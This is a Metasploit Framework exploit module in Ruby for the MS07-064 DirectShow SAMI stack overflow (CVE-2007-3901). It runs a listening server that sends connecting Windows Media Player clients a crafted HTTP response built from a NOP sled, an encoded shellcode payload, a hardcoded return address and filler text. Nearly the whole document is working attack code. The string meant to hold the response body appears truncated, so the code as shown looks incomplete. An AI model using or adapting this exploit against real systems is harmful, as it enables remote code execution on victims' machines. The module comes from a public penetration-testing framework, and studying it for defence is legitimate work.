## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the DirectShow Synchronized Accessible Media Interchanged (SAMI) parser in quartz.dll. This module has only been tested with Windows Media Player (6.4.09.1129) and DirectX 8.0. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'MSB', 'MS07-064' ], [ 'BID', '26787' ], [ 'CVE', '2007-3901' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 11 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324) header = "HTTP/1.1 200 OK\r\n" header << "Content-Type: application/smil\r\n\r\n" body = "\r\r\r\r\r" body << "

" sploit = header + body print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...") client.put(sploit) handler(client) service.close_client(client) end end